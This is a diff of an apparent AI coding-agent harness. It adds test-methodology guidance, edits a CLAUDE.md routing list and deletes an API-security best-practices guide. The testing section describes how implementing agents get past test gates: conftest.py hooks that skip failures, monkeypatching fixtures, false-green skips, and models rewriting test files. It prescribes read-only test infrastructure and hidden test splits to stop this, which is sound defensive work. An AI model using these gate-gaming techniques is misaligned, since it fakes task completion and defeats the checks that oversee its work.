+Read-only protection must extend beyond test files to include **test infrastructure**: `conftest.py`, `pyproject.toml`, `pytest.ini`, `setup.cfg`, `tox.ini`. An agent can satisfy tests by adding pytest hooks in a writable `conftest.py` — for example, a `pytest_collection_modifyitems` hook that skips failures, or an autouse fixture that monkeypatches the system under test. Security reviews of agent gate implementations have repeatedly found `conftest.py` as a CRITICAL bypass vector.
+
+**Rule:** the read-only reference directory must contain all test-discovery and test-configuration files, not just `test_*.py`. At gate-enforcement time, run pytest with `--rootdir` / `--confcutdir` pointed at the read-only tree so writable copies of these files in the working directory cannot override the authoritative configuration.
+
+### Stand Up Real Test Infrastructure Early
+
+Deferring a real test database/service (Docker Compose, testcontainers, ephemeral Postgres, etc.) pushes integration tests into a "deselected" bucket that nobody runs. Set up the test backing service in the first phase that touches it, so integration tests execute from day one instead of accumulating as tech debt. The cost of standing up ephemeral infrastructure is almost always lower than the cost of letting integration coverage rot.
+
+### Model Selection for Implementation Agents
+
+**Sonnet is the minimum viable model for constrained implementation tasks** (spec + test gate). Smaller and cheaper models modify test files or ignore constraints:
+
+| Model | Result | Notes |
+|---|---|---|
+| Sonnet | 113/113 tests passing, tests untouched | Viable for implementation |
+| MiniMax | Modified tests 7 times | Invalid — use for review/test-writing only |
+| Haiku | Rewrote test file entirely | Invalid — use for review/test-writing only |
+
+Haiku and MiniMax are viable for test-writing, review, and spec work — tasks where the output is inspected by a human, not enforced by a gate.
+
+### Hidden Test Splits
+
+Hold back some tests that the implementing agent never sees. Use them as a final validation:
+
+```python
+# tests/test_payload.py — agent sees these during development
+def test_p1_load_from_env_var(): ...
+def test_p2_missing_payload_exits_1(): ...
+
+# tests/test_payload_hidden.py — agent never sees these, run post-implementation
+# (Marked with a custom marker, excluded from default run)
+@pytest.mark.hidden
+def test_p1_load_from_file_fallback(): ...
+@pytest.mark.hidden
+def test_p_concurrent_payload_loads(): ...
+```
+
+### Regression Tests from Real Bugs
+
+Every bug found in production or during integration testing becomes a permanent test case:
+
+```python
+def test_regression_crlf_corruption():
+    """Regression: smtp-oauth-relay converted \\r\\n to \\n, breaking quoted-printable.
+    Fixed by as_bytes(policy=email_policy.SMTP). See memory/gotchas-email-relay.md."""
+    ...
+```
+
+These are the highest-value tests because they catch proven failure modes.
+
+### `xfail(strict=True)` Is the Right Red Primitive for Specs Ahead of Implementation
+
+When a spec requirement has no implementation yet, write a test that asserts the not-yet-existing import/attribute/behaviour and mark it `@pytest.mark.xfail(strict=True)`. It keeps CI green while red; when the impl lands and the test passes, strict mode flips it to XPASS (a visible CI failure) that signals "remove the marker." Better than `@pytest.mark.skip` (never runs, false-green) or no marker (breaks CI immediately).
+
+Two traps: a module-level `pytest.skip(allow_module_level=True)` on a failed import swallows every xfail-strict marker in the file (reports `skipped`, not `xfailed`) — put spec-ahead tests in a file with no module-level skip and lazy-import inside each test body. And `pytest.importorskip("mod.foo")` on the very module being implemented produces a false-green SKIP that lets an agent claim success without writing code — require a `pytest --collect-only` ImportError gate instead.
+
+**Retire markers once the feature ships.** After each milestone, grep for `xfail(reason=` / stale `xfail` markers and remove the now-obsolete ones — leftover xfail state contributes coverage noise and can hold total coverage below the gate even though the code paths execute. Set `xfail_strict = true` globally so xpassing tests fail loudly and force the cleanup rather than silently rotting.
+
+## Test Quality Metrics
+
+### What to Measure
+
+| Metric | Target | Why |
+|---|---|---|
+| Spec coverage | 100% | Every numbered requirement has at least one test |
+| Mutation score | >80% | Tests catch real faults, not just inflate coverage |
+| Line coverage | >90% | Baseline hygiene (necessary but not sufficient) |
+| Test speed | <10s total | Fast enough for pre-commit hooks |
+| Assertion density | >1 per test | Tests that don't assert don't catch anything |
+
+### What NOT to Measure
+
+- **100% line coverage as a goal.** Chasing 100% leads to tests that exercise code paths without meaningful assertions.
+- **Test count.** 50 well-targeted tests beat 200 shallow ones.
+- **Test-to-code ratio.** The ratio depends on the module's complexity, not a universal number.
+
+## CI Integration
+
+### Pre-commit (Every Commit)
+```bash
+pytest tests/ -x -q --tb=short -m "not integration"
+```
+
+### PR Validation (Every Push)
+```bash
+# Unit + property-based tests
+pytest tests/ -q --tb=short -m "not integration"
+# Mutation testing on changed files only
+mutmut run --paths-to-mutate="$(git diff --name-only main... | grep '.py$' | tr '\n' ',')"
+```
+
+### Nightly
+```bash
+# Full mutation testing
+mutmut run
+# Integration tests (requires Docker)
+pytest tests/ -m integration
+# Hidden test validation
+pytest tests/ -m hidden
+```
+
+## Python Testing Gotchas
+
+### `subprocess.run(check=True)` Is Invisible to Mocks
+
+When you mock `subprocess.run`, the mock replaces the entire function — including the `check=True` logic that raises `CalledProcessError`. A mock returning `CompletedProcess(returncode=1)` won't trigger the exception even though the real code uses `check=True`. To test failure paths, use `side_effect=CalledProcessError(...)` explicitly.
+
+### Use Routing Callables for Multi-Call Subprocess Mocks
+
+When a function calls `subprocess.run` multiple times (e.g., git config, add, diff, commit, push), a fixed `side_effect` list is fragile and breaks when call order changes. Instead, use a routing callable that inspects the command: `mock_run.side_effect = lambda cmd, **kw: route_by_command(cmd)`. Clearer, more maintainable, and self-documenting.
+
+### Pydantic v2 `@field_validator` Doesn't Fire for Default Values
+
+`@field_validator('field_name')` never runs when the field takes its default value (e.g., `None`). Cross-field validation logic (e.g., "if type is X then field Y is required") silently passes when the dependent field is omitted. Use `@model_validator(mode='after')` for any validation that depends on multiple fields or needs to fire even when fields take defaults.
+
+### Never `sys.exit()` at Module Level
+
+`sys.exit()` in an `except ImportError` block at module level kills pytest collection entirely — all tests fail, not just the ones for that module. Use a flag pattern instead: `_HAS_DEPENDENCY = False` in the except block, then check `if not _HAS_DEPENDENCY: return 1` inside the function. This allows the module to be imported and mocked even when the optional dependency is missing.
+
+### Use `pytest.importorskip` for Optional Dependency Tests
+
+When test files import optional packages (e.g., `sqlalchemy`, `psycopg`) at module level, pytest collection fails for the entire test suite — not just the tests that need that package. Use `mod = pytest.importorskip("sqlalchemy")` and then attribute access (`mod.text`). Also guard transitive imports: `pytest.importorskip("myapp.db.postgres_store")` if the module itself imports the optional package at module level.
+
+### Patch Individual Functions, Not Whole Modules
+
+Patching an entire module (e.g., `patch("mod.kubernetes.config")`) replaces exception classes with MagicMock objects. `except SomeException` then catches `MagicMock` instead of the real exception, causing tests to pass the wrong code path. Patch individual functions (`load_incluster_config`, `load_kube_config`) and leave exception classes intact so `except` clauses work correctly.
+
+### MagicMock Returns Truthy in Controller Loops — Always Set Boolean Defaults
+
+`MagicMock()` return values are truthy by default. If a controller loop calls `mock.should_stop()` or `mock.reconcile_triggered()` and the mock has no explicit `return_value`, the loop never exits — or never sleeps — because every call returns a truthy MagicMock. In one real incident this pattern consumed 40GB RAM before OOM.
+
+**Always set `mock.method.return_value = False`** for boolean-returning methods used in loop predicates. Combine with `pytest-timeout` (e.g., `timeout = 10` in `pyproject.toml`) on any project with async loops, signal handlers, or sleep patterns so runaway tests die fast instead of starving the test host.
+
+### Async Migration Requires Full Test Conversion
+
+When migrating a codebase from sync to async, helper functions get converted but test functions are often left as sync `def`. Every test that calls an async function needs `async def` + `@pytest.mark.asyncio` + `await`. After any async migration, run tests and grep for `RuntimeWarning: coroutine '...' was never awaited` to find remaining sync-to-async gaps.
+
+### `AsyncMock.side_effect` on a Sync Call Is Silently Dead
+
+`mock = AsyncMock(side_effect=SomeError)`; a *synchronous* `mock()` call returns an un-awaited coroutine and never raises — the `side_effect` is discarded and the test passes regardless of implementation (a `pytest.fail` line placed after the call executes, masking the real assertion). Fix: make the test `async def` + `@pytest.mark.asyncio` and `await` the call, or use a plain `MagicMock(side_effect=...)` when the production code is sync. Sibling trap: `getattr(MagicMock(), "attr", None)` returns a *new MagicMock*, not `None` — so `mock.account_id == "x"` is always False. Explicitly set every attribute the code reads (`m.account_id = "x"`) on test MagicMocks.
+
+## Anti-Patterns
+
+### Tests that mirror implementation
+**Symptom:** Test asserts that function calls happen in a specific order, using mock.assert_has_calls with exact sequences. Breaks on any refactor.
+**Fix:** Test behaviour (inputs → outputs), not implementation details.
+
+### Tests without assertions
+**Symptom:** `test_it_runs()` calls the function and checks it doesn't crash. No assertion on the result.
+**Fix:** Every test must assert something specific about the output, side effects, or raised exceptions.
+
+### Overmocking
+**Symptom:** Every dependency is mocked. Tests pass but integration fails because mocks don't match real behaviour.
+**Fix:** Mock at the boundary (subprocess, HTTP, filesystem), not between your own modules. Use real objects for internal dependencies.
+
+### Fragile tests
+**Symptom:** Tests break when unrelated code changes. Usually caused by asserting on implementation details, shared mutable state, or execution order.
+**Fix:** Test the public interface. Use fixtures for setup. Isolate each test completely.
+
+### Testing private methods
+**Symptom:** Tests import `_internal_helper` and test it directly. These break on any refactor.
+**Fix:** Test through the public API. If a private method is complex enough to need its own tests, it should probably be a separate module with a public interface.

harnesses/contexts/code-methodology/v1/CLAUDE.md

@@ -10,6 +10,8 @@ Before starting any task:
    - Python task → read `test-driven-development.md`, `spec-driven-development.md`
    - Kubernetes task → read `kubernetes.md`
    - Shell scripts → read `scripting.md`
+   - Writing tests mechanically from a spec (test-writer role, or any task deriving
+     test files directly from spec requirements) → read `mechanical-test-generation.md`
 4. Read the relevant topic files from `/workspace/best-practices/`
 5. Apply those practices to your work
 

harnesses/contexts/planning/v1/best-practices/api-design.md

@@ -1,463 +0,0 @@
-# API Design
-
-Best practices for REST/HTTP APIs in internal microservices and platform services. Focused on practical defaults -- not aspirational ideals. Sourced from OWASP API Security Top 10 (2023), RFC 9700 (OAuth 2.0 Security BCP, January 2025), Google AIP, and production experience.
-
-Cross-references: [Security Architecture](security-architecture.md) covers the server boundary rule and proxy patterns. [Secrets Management](secrets-management.md) covers credential storage and rotation.
-
----
-
-## 1. Transport Security
-
-### 1.1 HTTPS everywhere, no exceptions
-
-**Principle:** Every API endpoint -- internal or external -- must serve over TLS. Plaintext HTTP must not be available, even on internal networks.
-
-**Why it matters:** Without TLS, any network hop (load balancer, sidecar, switch) can observe or modify traffic. Internal networks are not trusted in a zero-trust model -- a compromised pod can sniff adjacent traffic.
-
-**How to implement:**
-- Terminate TLS at the ingress controller (e.g., Traefik, NGINX) with certificates from cert-manager / Let's Encrypt.
-- For service-to-service within the cluster, use a service mesh (Istio, Linkerd) or cert-manager CSI driver to issue per-pod certificates.
-- Set `Strict-Transport-Security` headers on all responses.
-- Redirect HTTP to HTTPS at the ingress layer.
-
-**Anti-patterns:**
-- "Internal traffic doesn't need encryption" -- it does under zero-trust.
-- Self-signed certificates with verification disabled (`--insecure`, `verify=False`) -- defeats the purpose of TLS.
-- Long-lived certificates (years) with no rotation -- use short-lived certs (days to weeks) with automated renewal.
-
-### 1.2 mTLS between services
-
-**Principle:** Service-to-service communication must use mutual TLS -- both sides present and verify certificates.
-
-**Why it matters:** Server-only TLS authenticates the server to the client, but any client can connect. mTLS ensures both parties have a cryptographically verified identity, which is the foundation of zero-trust networking.
-
-**How to implement:**
-- Service mesh (Istio strict mode, Linkerd) handles mTLS transparently via sidecar proxies -- no application code changes.
-- Use SPIFFE/SPIRE for standardized workload identity (SVID certificates).
-- Default certificate lifetime should be short (24 hours) with automatic rotation.
-- Start in permissive mode (allow both plain and mTLS), migrate to strict mode once all services are enrolled.
-
-**Anti-patterns:**
-- Permissive mode as a permanent state -- it must be a migration step, not the end state.
-- Disabling mTLS verification for "debugging" and forgetting to re-enable it.
-- Using a single shared certificate for all services -- each workload needs its own identity.
-
-### 1.3 Certificate management
-
-**Principle:** Certificate issuance and rotation must be fully automated. No manual certificate management in production.
-
-**Why it matters:** Manual certificate management leads to expired certificates, which cause outages. It also leads to long-lived certificates, which increase blast radius if compromised.
-
-**How to implement:**
-- cert-manager in Kubernetes with ClusterIssuer for ingress certificates.
-- Service mesh control plane for workload certificates (Istio Citadel, Linkerd identity).
-- Monitor certificate expiry with alerts at 30/14/7 days before expiry.
-- Store CA keys in HSM or sealed secrets -- never in plaintext ConfigMaps.
-
-**Anti-patterns:**
-- Certificates stored in Git repos (even encrypted, they need rotation).
-- Wildcard certificates shared across trust boundaries.
-- No monitoring for certificate expiry -- silent failures at 3am.
-
----
-
-## 2. Authentication and Authorization
-
-### 2.1 OIDC/OAuth2 for user-facing APIs (RFC 9700)
-
-**Principle:** Use OAuth 2.0 Authorization Code flow with PKCE for all client types. The implicit flow and resource owner password credentials flow are deprecated per RFC 9700 (January 2025).
-
-**Why it matters:** The implicit flow exposes access tokens in URLs and browser history. The password grant requires users to share credentials directly with the client, bypassing centralized identity providers.
-
-**How to implement:**
-- Authorization Code + PKCE for all clients (web, mobile, CLI). PKCE is now mandatory for all client types, not just public clients.
-- Use `S256` challenge method (not `plain`).
-- Tokens issued by the authorization server, validated by the resource server.
-- Use Authorization Server Metadata (RFC 8414) for automatic discovery of endpoints and supported features.
-
-**Anti-patterns:**
-- Implicit flow (`response_type=token`) -- deprecated by RFC 9700.
-- Resource Owner Password Credentials flow -- deprecated by RFC 9700.
-- Storing tokens in localStorage (accessible to XSS) -- use httpOnly cookies or in-memory storage with refresh token rotation.
-- Long-lived access tokens without refresh -- use short-lived access tokens (5-15 minutes) with refresh token rotation.
-
-### 2.2 JWT best practices
-
-**Principle:** JWTs must be validated completely on every request -- signature, expiry, issuer, audience, and algorithm.
-
-**Why it matters:** Incomplete JWT validation is a top attack vector. Accepting expired tokens, wrong audiences, or `alg: none` enables token forgery and replay.
-
-**How to implement:**
-- Validate: signature (asymmetric preferred -- RS256/ES256), `exp`, `iat`, `iss`, `aud`, `nbf`.
-- Use asymmetric signing (RS256/ES256) so that only the auth server holds the private key. Resource servers only need the public key.
-- Set `aud` claim to the specific API audience -- reject tokens intended for other services.
-- Keep tokens small -- put only identity and authorization claims in the token, fetch additional data from a userinfo endpoint.
-- Use `jti` (JWT ID) claim for token revocation checks when needed.
-
-**Anti-patterns:**
-- Accepting `alg: none` or allowing algorithm switching -- pin the expected algorithm server-side.
-- Not validating `aud` -- allows tokens from one service to be replayed against another.
-- Symmetric signing (HS256) with a shared secret across services -- if one service is compromised, all are.
-- Treating JWTs as sessions -- JWTs are not revocable by default. Combine with short expiry and token introspection for revocation.
-
-### 2.3 Service-to-service authentication
-
-**Principle:** Services authenticate to each other using mTLS identities (SPIFFE) or short-lived JWTs from a token exchange. Never shared static API keys.
-
-**Why it matters:** Shared API keys have no expiry, no rotation path, no per-service identity, and no audit trail. If one service is compromised, the key works for everything.
-
-**How to implement:**
-- **Preferred: mTLS with SPIFFE.** The service mesh provides identity automatically. Authorization policies reference SPIFFE IDs (e.g., `spiffe://cluster.local/ns/payments/sa/payment-svc`).
-- **Alternative: OAuth2 Client Credentials flow.** Each service has its own `client_id` and `client_secret` (or asymmetric key pair). Tokens are short-lived and scoped to specific audiences.
-- Use asymmetric client authentication (private_key_jwt per RFC 7523) rather than client secrets where possible.
-- Implement audience restriction -- tokens minted for service A must not be accepted by service B.
-
-**Anti-patterns:**
-- Shared static API keys passed in headers or query strings.
-- One "admin" service account used by all services.
-- Service-to-service tokens with no audience claim -- replayable across any internal API.
-- Bearer tokens without mTLS -- if the network is compromised, the token can be stolen and replayed from anywhere.
-
-### 2.4 Authorization: object-level and function-level
-
-**Principle:** Check authorization at every API endpoint, for every object access, based on the authenticated identity. Never rely on "the client won't send that request."
-
-**Why it matters:** Broken Object-Level Authorization (BOLA) is the #1 risk in the OWASP API Security Top 10. Broken Function-Level Authorization is #5. These are the most common API vulnerabilities found in penetration tests.
-
-**How to implement:**
-- Every endpoint that accesses a specific resource must verify the caller owns or has access to that resource.
-- Use middleware/decorators that enforce authorization before the handler runs.
-- Use random UUIDs for resource identifiers, not sequential integers (which are trivially enumerable).
-- Separate authorization for data access (BOLA) and function access (admin endpoints, bulk operations).
-- Automated tests that verify: user A cannot access user B's resources, non-admin cannot call admin endpoints.
-
-**Anti-patterns:**
-- Authorization only at the API gateway -- must also be enforced at the service level.
-- Relying on obscurity of endpoint URLs for access control.
-- Sequential/predictable resource IDs without authorization checks.
-- Missing authorization on secondary endpoints (e.g., `/users/{id}/orders` checks user but not order ownership).
-
----
-
-## 3. API Design Patterns
-
-### 3.1 Versioning
-
-**Principle:** Version your API from day one using URL path versioning (`/v1/`). Support at most two versions simultaneously.
-
-**Why it matters:** Breaking changes without versioning cause cascading failures across all consumers simultaneously. Supporting too many versions creates maintenance burden and security risk (old versions may lack patches).
-
-**How to implement:**
-- URL path: `/api/v1/resources` -- simple, visible, cacheable.
-- Deprecation policy: announce deprecation in response headers (`Deprecation: true`, `Sunset: <date>`).
-- Maximum two active versions. When v3 launches, v1 is removed.
-- Internal services can use header-based versioning (`Accept: application/vnd.myapi.v2+json`) if URL versioning is too rigid for rapid iteration.
-
-**Anti-patterns:**
-- No versioning ("we'll be careful") -- you will break consumers.
-- Unlimited version support -- v1 through v7 all still running, each with different bugs.
-- Breaking changes in a patch version.
-- Versioning individual endpoints instead of the whole API surface.
-
-### 3.2 Pagination
-
-**Principle:** All list endpoints must paginate. Use cursor-based pagination for real-time data; offset-based for stable datasets.
-
-**Why it matters:** Unbounded list responses cause memory exhaustion, slow responses, and database strain. Large offset values cause full table scans.
-
-**How to implement:**
-- **Cursor-based (preferred):** Return an opaque `next_cursor` token. Client passes it to get the next page. Stable under concurrent writes.
-  ```json
-  { "data": [...], "next_cursor": "abc123", "has_more": true }
-  ```
-- **Offset-based (simple datasets):** `?limit=50&offset=100`. Acceptable for admin dashboards or infrequently changing data.
-- Set a maximum page size (e.g., 100) enforced server-side. Ignore client requests for larger pages.
-- Always return pagination metadata (`next_cursor`, `has_more`, or `total_count` if cheap to compute).
-
-**Anti-patterns:**
-- No pagination on list endpoints -- returns 50,000 records in one response.
-- Offset-based pagination on large, frequently-changing datasets -- pages shift as records are inserted/deleted.
-- Client-controlled page size with no server-side maximum.
-- `total_count` requiring a full table scan on every request -- make it optional or cached.
-
-### 3.3 Error handling
-
-**Principle:** Return structured, machine-readable errors with stable error codes, human-readable messages, and consistent shape across all endpoints.
-
-**Why it matters:** Inconsistent error formats force every consumer to write custom parsing logic. Missing error codes make automated retry decisions impossible. Leaking stack traces exposes internals to attackers.
-
-**How to implement:**
-- Standard error envelope:
-  ```json
-  {
-    "error": {
-      "code": "RESOURCE_NOT_FOUND",
-      "message": "Order 7f3a... not found",
-      "details": [{ "field": "order_id", "reason": "not_found" }]
-    }
-  }
-  ```
-- Use HTTP status codes correctly: 400 (bad input), 401 (unauthenticated), 403 (unauthorized), 404 (not found), 409 (conflict), 422 (validation), 429 (rate limited), 500 (server error).
-- Error codes are stable strings (not integers) that consumers can switch on.
-- Never expose stack traces, SQL errors, or internal paths in error responses.
-- Log the full error server-side with a correlation ID. Return only the correlation ID to the client.
-
-**Anti-patterns:**
-- 200 OK with `{"success": false}` -- use HTTP status codes.
-- Returning raw database errors ("duplicate key violates unique constraint on...").
-- Different error shapes from different endpoints in the same API.
-- Generic "Internal Server Error" with no correlation ID -- impossible to debug.
-
-### 3.4 Idempotency
-
-**Principle:** All state-changing operations must be safe to retry. Use idempotency keys for POST requests; PUT and DELETE are idempotent by definition.
-
-**Why it matters:** Network failures, timeouts, and retries are normal in distributed systems. Without idempotency, retried requests create duplicate orders, double payments, or inconsistent state.
-
-**How to implement:**
-- Accept `Idempotency-Key` header (IETF draft: draft-ietf-httpapi-idempotency-key-header) on POST endpoints.
-- Server stores the response for a given key (TTL 24-48 hours). Duplicate requests return the stored response.
-- Use UUIDv4 for idempotency keys -- never sequential or timestamp-based (predictable/guessable).
-- Handle concurrent duplicate requests with locking: first request processes, subsequent requests wait then return cached response.
-- PUT must be truly idempotent: same request, same result, no side effects on repeat.
-
-**Anti-patterns:**
-- POST endpoints with no idempotency support -- every retry creates a duplicate.
-- Idempotency keys stored forever (memory leak) or for too short a period (retries after expiry create duplicates).
-- Client-generated sequential keys (integers, timestamps) -- guessable and exploitable.
-- "Idempotent" endpoints that still send duplicate emails/webhooks on retry.
-
-### 3.5 Rate limiting
-
-**Principle:** Every API must enforce rate limits. Return standard headers so clients can self-throttle.
-
-**Why it matters:** Without rate limits, a single misbehaving client (or attacker) can exhaust resources for all consumers. Rate limits also protect downstream dependencies.
-
-**How to implement:**
-- Token bucket or sliding window algorithm (token bucket is simplest with good burst handling).
-- Return headers: `X-RateLimit-Limit`, `X-RateLimit-Remaining`, `X-RateLimit-Reset` (IETF draft still pending; `X-` prefix remains de facto standard).
-- Return `429 Too Many Requests` with `Retry-After` header (RFC 6585).
-- Rate limit checks execute before expensive operations (auth, database queries).
-- For distributed deployments, use Redis with atomic Lua scripts for counter operations -- avoid race conditions.
-- Different tiers for different consumers (internal services get higher limits than external clients).
-
-**Anti-patterns:**
-- No rate limiting ("it's an internal API") -- a runaway loop in one service takes down the whole platform.
-- Rate limiting after expensive operations (database query runs, then rate limit rejects the response).
-- No `Retry-After` header -- clients retry immediately in a tight loop, making the problem worse.
-- Per-IP rate limiting only -- bypassed by distributed clients, unfair to NAT'd users.
-
----
-
-## 4. Input Validation
-
-### 4.1 Schema validation at the edge
-
-**Principle:** Validate all request bodies against a schema (OpenAPI/JSON Schema) at the API gateway or middleware layer. Reject requests that don't conform before they reach business logic.
-
-**Why it matters:** Invalid input that reaches business logic causes unpredictable behavior -- crashes, data corruption, injection attacks. Edge validation is the first line of defense.
-
-**How to implement:**
-- Define request/response schemas in OpenAPI 3.x. Generate validation middleware from the spec.
-- Reject unknown fields (additionalProperties: false) -- attackers probe via unexpected fields.
-- Enforce type constraints: string lengths, integer ranges, enum values, date formats.
-- Validate `Content-Type` header -- reject requests with unexpected content types (e.g., reject `multipart/form-data` on a JSON-only endpoint).
-
-**Anti-patterns:**
-- Validation only in business logic, not at the edge -- invalid data traverses the full call stack before rejection.
-- Accepting and silently ignoring unknown fields -- hides bugs and enables mass assignment attacks.
-- Validating types but not ranges -- accepting an `age` field of 99999 or -1.
-- No schema at all ("we'll validate manually") -- inconsistent validation across endpoints.
-
-### 4.2 Injection prevention
-
-**Principle:** Use parameterized queries for all database access. Never concatenate user input into queries, commands, or templates.
-
-**Why it matters:** SQL injection remains in the OWASP Top 10 after 20+ years. NoSQL injection, LDAP injection, and command injection follow the same pattern -- unsanitized input in a query language.
-
-**How to implement:**
-- Use an ORM (SQLAlchemy, Prisma, TypeORM) or parameterized queries. All major ORMs parameterize by default.
-- For raw SQL (performance-critical paths), use prepared statements exclusively.
-- Validate input with allowlists, not denylists. If a field should be a UUID, validate it's a UUID -- don't try to strip "malicious characters."
-- For template rendering, use auto-escaping (Jinja2 autoescape, React JSX auto-escaping).
-
-**Anti-patterns:**
-- String concatenation in SQL: `f"SELECT * FROM users WHERE id = '{user_input}'"`.
-- Denylisting dangerous characters instead of allowlisting valid patterns.
-- Trusting input from "internal" services -- a compromised upstream service sends malicious data.
-- Disabling ORM parameterization for "performance" without understanding the security cost.
-
-### 4.3 Request size and depth limits
-
-**Principle:** Enforce maximum request body size, JSON nesting depth, and array length at the gateway level.
-
-**Why it matters:** Deeply nested JSON or extremely large payloads cause CPU exhaustion during parsing (hash collision attacks, recursive descent parsers). This is a denial-of-service vector.
-
-**How to implement:**
-- Set maximum body size at the reverse proxy/ingress (e.g., `client_max_body_size 1m` in NGINX).
-- Limit JSON nesting depth (8-16 levels is generous for any real use case).
-- Limit array sizes in request bodies (e.g., batch endpoints accept max 100 items).
-- Set request timeouts at the gateway -- don't let slow clients hold connections open.
-
-**Anti-patterns:**
-- No body size limit -- 100MB JSON payload parsed by every middleware layer.
-- Accepting arbitrarily nested JSON -- `{"a":{"a":{"a":...}}}` 1000 levels deep.
-- Batch endpoints with no limit -- client sends 1 million items in one request.
-
----
-
-## 5. Secrets in APIs
-
-### 5.1 Never in URLs or query parameters
-
-**Principle:** Authentication tokens, API keys, and any secret material must be sent in headers (Authorization, custom headers) or request bodies. Never in URLs or query parameters.
-
-**Why it matters:** URLs are logged everywhere -- web server access logs, proxy logs, browser history, referrer headers, CDN logs, monitoring tools. A token in a URL is a token in every log file in the request path.
-
-**How to implement:**
-- Use `Authorization: Bearer <token>` header for all token-based auth.
-- For webhook signatures, use a signature header (e.g., `X-Hub-Signature-256`).
-- If an API currently accepts tokens in query params, deprecate that path and migrate to header-based auth.
-- Configure log scrubbing to redact Authorization headers, but don't rely on it as the primary control.
-
-**Anti-patterns:**
-- `GET /api/resources?api_key=sk_live_abc123` -- key in every access log.
-- OAuth redirect URIs with tokens in query params (use `response_mode=form_post` or authorization code flow).
-- Webhook URLs with embedded secrets (`/webhook?secret=abc`) -- logged, cached, shared.
-
-### 5.2 Token rotation and expiry
-
-**Principle:** All tokens and API keys must have expiry dates and a documented rotation procedure. No permanent credentials.
-
-**Why it matters:** Leaked tokens without expiry are valid forever. Rotation limits blast radius -- even if a token is compromised, it expires soon.
-
-**How to implement:**
-- Access tokens: 5-15 minute expiry, refreshed via refresh token.
-- Refresh tokens: rotate on use (each refresh issues a new refresh token and invalidates the old one).
-- API keys for external integrations: 90-day rotation policy with overlap period (new key valid before old key expires).
-- Service account tokens (OAuth2 client credentials): short-lived (1 hour), fetched on demand.
-- Track expiry dates in a credential inventory. Alert before expiry (see [Secrets Management](secrets-management.md) -- Credential Lifecycle Management).
-
-**Anti-patterns:**
-- API keys that never expire ("we'll rotate them when we need to" -- you won't).
-- Refresh tokens that don't rotate -- stolen refresh token provides permanent access.
-- No overlap period during rotation -- brief outage while all consumers update.
-- Hardcoded tokens in application config deployed via CI -- rotation requires a full redeploy.
-
-### 5.3 No secrets in logs or error responses
-
-**Principle:** Scrub all secrets from logs, error responses, and monitoring data. Structured logging with explicit field selection is safer than serializing request objects.
-
-**Why it matters:** Log aggregation systems (ELK, Loki, Datadog) are often accessible to broader teams than production systems. A token in a log entry has a much wider exposure surface than a token in a running process.
-
-**How to implement:**
-- Use structured logging. Log specific fields, not entire request objects.
-- Redact `Authorization` headers and any field matching `token`, `password`, `secret`, `key` patterns in log middleware.
-- Never log request bodies for auth endpoints (login, token exchange).
-- Error responses must not include internal state -- return a correlation ID and log details server-side.
-
-**Anti-patterns:**
-- `logger.info(f"Request: {request.headers}")` -- logs all headers including Authorization.
-- Error responses that include the original request (including auth headers) for "debugging convenience."
-- Logging full webhook payloads that contain signing secrets in custom headers.
-
----
-
-## 6. Service Mesh and Zero Trust
-
-### 6.1 Default deny with explicit allow
-
-**Principle:** Network policies and authorization policies must default to deny-all. Every allowed communication path is explicitly defined.
-
-**Why it matters:** Default-allow means a compromised service can reach every other service in the cluster. Default-deny contains the blast radius to only the services the compromised workload was authorized to reach.
-
-**How to implement:**
-- Kubernetes NetworkPolicy: deploy a default-deny policy in every namespace, then add specific allow rules.
-  ```yaml
-  apiVersion: networking.k8s.io/v1
-  kind: NetworkPolicy
-  metadata:
-    name: default-deny-all
-  spec:
-    podSelector: {}
-    policyTypes: [Ingress, Egress]
-  ```
-- Service mesh authorization policies: deny by default, allow specific source-to-destination pairs by SPIFFE ID.
-- Audit policies periodically -- remove rules for decommissioned services.
-
-**Anti-patterns:**
-- No network policies ("everything's in the cluster, it's fine").
-- Overly broad allow rules (`allow all from namespace X`) -- defeats the purpose.
-- Network policies without egress rules -- ingress-only policies still allow compromised pods to exfiltrate data.
-
-### 6.2 Least-privilege service identities
-
-**Principle:** Each service gets its own identity (Kubernetes ServiceAccount + SPIFFE SVID) with the minimum permissions needed. No shared service accounts.
-
-**Why it matters:** Shared identities prevent granular authorization, audit trails, and revocation. If services A and B share an identity, you cannot authorize A without also authorizing B.
-
-**How to implement:**
-- One Kubernetes ServiceAccount per workload (not per namespace).
-- RBAC bindings scoped to exactly what the service needs (specific API groups, resources, verbs).
-- Authorization policies reference specific service identities: "payment-svc can call order-svc on POST /orders/{id}/payment."
-- Regularly audit which identities have access to which services -- prune unused access.
-
-**Anti-patterns:**
-- Default ServiceAccount used by all pods in a namespace.
-- Cluster-wide RBAC bindings for convenience.
-- Service identities with wildcard permissions ("allow all methods on all paths").
-- No audit of identity-to-service mappings.
-
-### 6.3 Observability as a security control
-
-**Principle:** Distributed tracing, access logs, and metrics from the service mesh are security controls, not just debugging tools. Monitor them for anomalies.
-
-**Why it matters:** Zero trust assumes breach. Detection depends on visibility. If you can't see who called what, you can't detect lateral movement.
-
-**How to implement:**
-- Enable access logging in the service mesh (Istio/Envoy access logs, Linkerd tap).
-- Distributed tracing (OpenTelemetry, Jaeger) with trace context propagated across all service calls.
-- Alert on anomalies: unexpected source-destination pairs, unusual request volumes, authorization denials.
-- Retain access logs long enough for incident investigation (30-90 days minimum).
-
-**Anti-patterns:**
-- Disabling access logging for performance -- sample instead of disabling entirely.
-- Tracing only in development, not production.
-- No alerting on authorization policy denials -- failed access attempts are the signal.
-
----
-
-## OWASP API Security Top 10 (2023) Quick Reference
-
-For context, the current OWASP API Security Top 10 maps to the practices above:
-
-| # | Risk | Where addressed |
-|---|------|----------------|
-| API1 | Broken Object-Level Authorization | Section 2.4 |
-| API2 | Broken Authentication | Sections 2.1, 2.2, 2.3 |
-| API3 | Broken Object Property-Level Authorization | Section 2.4, 4.1 |
-| API4 | Unrestricted Resource Consumption | Sections 3.5, 4.3 |
-| API5 | Broken Function-Level Authorization | Section 2.4 |
-| API6 | Unrestricted Access to Sensitive Business Flows | Sections 3.4, 3.5 |
-| API7 | Server-Side Request Forgery | Section 4.2 |
-| API8 | Security Misconfiguration | Sections 1.1, 6.1 |
-| API9 | Improper Inventory Management | Section 3.1 |
-| API10 | Unsafe Consumption of APIs | Section 4.2 |
-
----
-
-## Sources
-
-- [OWASP API Security Top 10](https://owasp.org/API-Security/)
-- [RFC 9700 - OAuth 2.0 Security Best Current Practice (January 2025)](https://datatracker.ietf.org/doc/rfc9700/)
-- [OAuth best practices: RFC 9700 summary -- WorkOS](https://workos.com/blog/oauth-best-practices)
